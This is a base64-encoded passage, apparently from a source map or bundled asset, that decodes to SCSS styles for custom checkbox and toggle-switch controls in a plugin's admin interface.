mFjdGl2ZSB7XG4gICAgICAgICAgICAmOmJlZm9yZSB7XG4gICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tY2hlY2tib3gtLW51IHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsLS1iaWc7XG4gICAgfVxuICAgIEBleHRlbmQgJXNsbi1pbnB1dC1oZWxwO1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgaW5wdXQge1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbWFyZ2luLWxlZnQ6IC05OTk5cHg7XG4gICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgfVxuICAgIC8vbGFiZWwge1xuICAgIC8vXHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gICAgLy99XG4gICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg4MHB4KTtcbiAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHNldHRpbmdzLW1peGlucy5yZW0oMzZweCkgYXV0bztcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBjb2x1bW4tZ2FwOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgLy9ib3JkZXItYm90dG9tOiAxcHggc29saWQgJGNsX21haW4tLWxpZ2h0O1xuICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAgIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgfVxuICAgICAgLy9AZXh0ZW5kICVzbG4tYmlnLWJvcmRlci0tb25ob3ZlcjtcbiAgICAgIC8vJjpudGgtY2hpbGQoMikge1xuICAgICAgLy9cdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICAvL31cbiAgICAgIHNwYW4ge1xuICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIHBhZGRpbmctbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAgIH1cbiAgICAgICY6YmVmb3JlLFxuICAgICAgJjphZnRlciB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgd2lkdGg6IDEuNXJlbTtcbiAgICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuICAgICAgICAvL3Bvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgLy90b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMTJweCk7XG4gICAgICAgIC8vdG9wOiA1MCU7XG4gICAgICAgIC8vcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTRweCk7XG4gICAgICB9XG4gICAgICAmOmJlZm9yZSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgICAgIH1cbiAgICAgIC8qIEZJWCAwOTIwMjMgKi9cbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgY29udGVudDogJyBcXGYwMGMnO1xuICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIEBleHRlbmQgJWZvbnQtaWNvbjtcbiAgICAgICAgZm9udC1zaXplOiAxLjEyNXJlbTtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDEuNHJlbTtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgfVxuXG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgfVxuICAgICAgICAgIC8qIEZJWCAwOTIwMjMgKi9cbiAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzO1xuICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgJjpiZWZvcmUsXG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgfVxuICAgICAgLyogRklYIDA5MjAyMyAqL1xuICAgICAgJjphZnRlcixcbiAgICAgICY6aG92ZXI6YWZ0ZXIge1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgfVxuICAgIH1cbiAgICAvKlxuXHRcdGxhYmVsIHNwYW4ge1xuXHRcdFx0Ly8gVVNFRCBGT1IgRU1QSEFTSVNcblx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdHBhZGRpbmctbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdGZvbnQtd2VpZ2h0OiA3MDA7XG5cdFx0fVxuXHRcdCovXG4gICAgJi5zbG4tY2hlY2tib3gtLWNoZWNrb25seSB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogbm9uZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1zd2l0Y2gge1xuICAgICYuc2xuLXN3aXRjaC0tdmlld21vZGUge1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICB9XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsLS1iaWc7XG4gICAgICBib3JkZXI6IDJweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDApO1xuICAgICAgYm9yZGVyLXJhZGl1czogNXB4O1xuICAgIH1cbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIGlucHV0IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtOTk5OXB4O1xuICAgICAgdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgIH1cbiAgICAvKiBGSVggMDkyMDIzIFxuXHRcdGxhYmVsIHtcblx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcblx0XHR9XG5cdFx0c3BhbiB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdGRpc3BsYXk6IGlubGluZTtcblx0XHRcdFx0Y29udGVudDogYXR0cihkYXRhLW9mZik7XG5cdFx0XHR9XG5cdFx0fVxuXHRcdCovXG4gICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA0cmVtIGF1dG87XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgZ2FwOiAxLjI1cmVtO1xuICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDIycHgpIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgICAgIGhlaWdodDogMy4zM3JlbTtcbiAgICAgIHdpZHRoOiBmaXQtY29udGVudDtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAgIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgfVxuICAgICAgLy9AZXh0ZW5kICVzbG4tYmlnLWJvcmRlci0tb25ob3ZlcjtcbiAgICAgIC8vJjpudGgtY2hpbGQoMikge1xuICAgICAgLy9cdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICAvL31cbiAgICAgICY6YmVmb3JlLFxuICAgICAgJjphZnRlciB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG4gICAgICB9XG4gICAgICAmOmJlZm9yZSB7XG4gICAgICAgIHdpZHRoOiA0cmVtO1xuICAgICAgICBoZWlnaHQ6IDJyZW07XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgxKTtcbiAgICAgICAgLy9ib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oOHB4KSBzb2xpZCAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgd2lkdGg6IDEuMjVyZW07XG4gICAgICAgIGhlaWdodDogMS4yNXJlbTtcbiAgICAgICAgbWFyZ2luLWxlZnQ6IDAuMzc1cmVtO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgYm9yZGVyOiA0cHggc29saWQgY29sb3JzLW51LnNsbi1udWNvbG9yLS1saWdodGVzdCgxKTtcbiAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgfVxuICAgICAgLnNsbi1zd2l0Y2gtLW9uX190ZXh0IHtcbiAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgIH1cbiAgICAgIC5zbG4tc3dpdGNoLS1vZmZfX3RleHQge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIH1cbiAgICAgICYuc2xuLXN3aXRjaC0tb25fX2xhYmVsIHtcbiAgICAgICAgLnNsbi1zd2l0Y2gtLW9uX190ZXh0IHtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgfVxuICAgICAgICAuc2xuLXN3aXRjaC0tb2ZmX190ZXh0IHtcbiAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgfVxuICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMSk7XG4gICAgICAgIH1cbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBzcGFuIHtcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICBjb250ZW50OiBhdHRyKGRhdGEtb2ZmKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICBzcGFuIHtcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICBjb250ZW50OiBhdHRyKGRhdGEtb24pO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAvLyY6OmJlZm9yZSxcbiAgICAgIC8vJjpob3Zlcjo6YmVmb3JlIHtcbiAgICAgIC8vXHRiYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAvL31cbiAgICAgICY6YWZ0ZXIsXG4gICAgICAmOmhvdmVyOjphZnRlciB7XG4gICAgICAgIC8vanVzdGlmeS1zZWxmOiBmbGV4LWVuZDtcbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDJyZW0pO1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgICB9XG4gICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKSB0cmFuc2xhdGVYKDJyZW0pO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXN3aXRjaC0tc2VnbWVudGVkIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAgIGdyaWQtdGVtcGxhdGU6IGF1dG8gLyAzcmVtIDNyZW07XG4gICAgICAgIGdhcDogMDtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgICAgICY6YmVmb3JlLFxuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICB3aWR0aDogM3JlbTtcbiAgICAgICAgICBoZWlnaHQ6IDIuNXJlbTtcbiAgICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgIGJhY2tncm91bmQtc2l6ZTogMS41cmVtO1xuICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyO1xuICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjE1cztcbiAgICAgICAgfVxuICAgICAgICAmOmJlZm9yZSB7XG4gICAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAuNXJlbSAwIDAgMC41cmVtO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuICAgICAgICAgIEBpbmNsdWRlIGljb25zLWRhdGF1cmkuc2xuLWljb251cmktLWxpc3RfdGFicyhcbiAgICAgICAgICAgIHRhYnMsXG4gICAgICAgICAgICAnI3tjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSl9J1xuICAgICAgICAgICk7XG4gICAgICAgIH1cbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgICAgICAgYm9yZGVyLXJhZGl1czogMCAwLjVyZW0gMC41cmVtIDA7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1saWdodCgxKTtcbiAgICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICBAaW5jbHVkZSBpY29ucy1kYXRhdXJpLnNsbi1pY29udXJpLS1saXN0X3RhYnMoXG4gICAgICAgICAgICBsaXN0LFxuICAgICAgICAgICAgJyN7Y29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpfSdcbiAgICAgICAgICApO1xuICAgICAgICB9XG5cbiAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgLy8gJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIC8vIFx0YmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgLy8gfVxuICAgICAgICAgICAgLy8gJjo6YWZ0ZXIge1xuICAgICAgICAgICAgLy8gXHRiYWNrZ3JvdW5kLWNvbG9yOiAkc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICAgICAgICAgIC8vIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbCB7XG4gICAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICBzcGFuIHtcbiAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgY29udGVudDogYXR0cihkYXRhLW9uKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJjo6YmVmb3JlLFxuICAgICAgICAmOmhvdmVyOjpiZWZvcmUge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMSk7XG4gICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgICAgIH1cbiAgICAgICAgJjphZnRlcixcbiAgICAgICAgJjpob3Zlcjo6YWZ0ZXIge1xuICAgICAgICAgIC8vanVzdGlmeS1zZWxmOiBmbGV4LWVuZDtcbiAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMCk7XG4gICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICBwb2ludGVyLWV2ZW50czogYXV0bztcbiAgICAgICAgfVxuICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpIHRyYW5zbGF0ZVgoMCk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXN3aXRjaC0tYmFyZSxcbiAgICAmLnNsbi1zd2l0Y2gtLWJhcmUuc2xuLXN3aXRjaC0taW52ZXJ0ZWQge1xuICAgICAgZ3JpZC10ZW1wbGF0ZTogYXV0byAvIDFmcjtcbiAgICAgIGxhYmVsIHtcbiAgICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgIH1cbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICB3aWR0aDogYXV0bztcbiAgICAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciA0cmVtO1xuICAgICAgICBwYWRkaW5nLWxlZnQ6IDFyZW07XG4gICAgICAgIHNwYW4ge1xuICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0O1xuICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oOXB4KTtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICBwYWRkaW5nOiAwIDlweCAwIDA7XG4gICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuICAgICAgICB9XG4gICAgICAgIC8vJjpmb2N1cyxcbiAgICAgICAgLy8mOmFjdGl2ZSB7XG4gICAgICAgIC8vXHRzcGFuIHtcbiAgICAgICAgLy9cdFx0cGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuICAgICAgICAvL1x0XHR0cmFuc2Zvcm06IHNjYWxlKDEuMik7XG4gICAgICAgIC8vXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgICAgICAgLy9cdH1cbiAgICAgICAgLy99XG4gICAgICAgIC8vQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgLy9cdCY6aG92ZXIge1xuICAgICAgICAvL1x0XHRzcGFuIHtcbiAgICAgICAgLy9cdFx0XHRwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICAgICAgIC8vXHRcdFx0dHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICAvL1x0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgICAgICAgLy9cdFx0fVxuICAgICAgICAvL1x0fVxuICAgICAgICAvL31cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tc3dpdGNoLS1iYXJlIHtcbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDRyZW0gMWZyO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1zd2l0Y2gtLWludmVydGVkIHtcbiAgICAgIHNwYW4ge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICBkaXNwbGF5OiBpbmxpbmU7XG4gICAgICAgICAgY29udGVudDogYXR0cihkYXRhLW9uKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgICAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDgwcHgpO1xuICAgICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IGF1dG8gc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAgICAgLy9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICAgIH1cbiAgICAgICAgLy9AZXh0ZW5kICVzbG4tYmlnLWJvcmRlci0tb25ob3ZlcjtcbiAgICAgICAgJjpudGgtY2hpbGQoMikge1xuICAgICAgICAgIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICAgIH1cbiAgICAgICAgJjpiZWZvcmUsXG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjE1cztcbiAgICAgICAgfVxuICAgICAgICAmOmJlZm9yZSB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAvL2JvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSg4cHgpIHNvbGlkICRjbF9tYWluLS1saWdodDtcbiAgICAgICAgfVxuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMS4ycmVtKTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgIH1cbiAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMSk7XG4gICAgICAgICA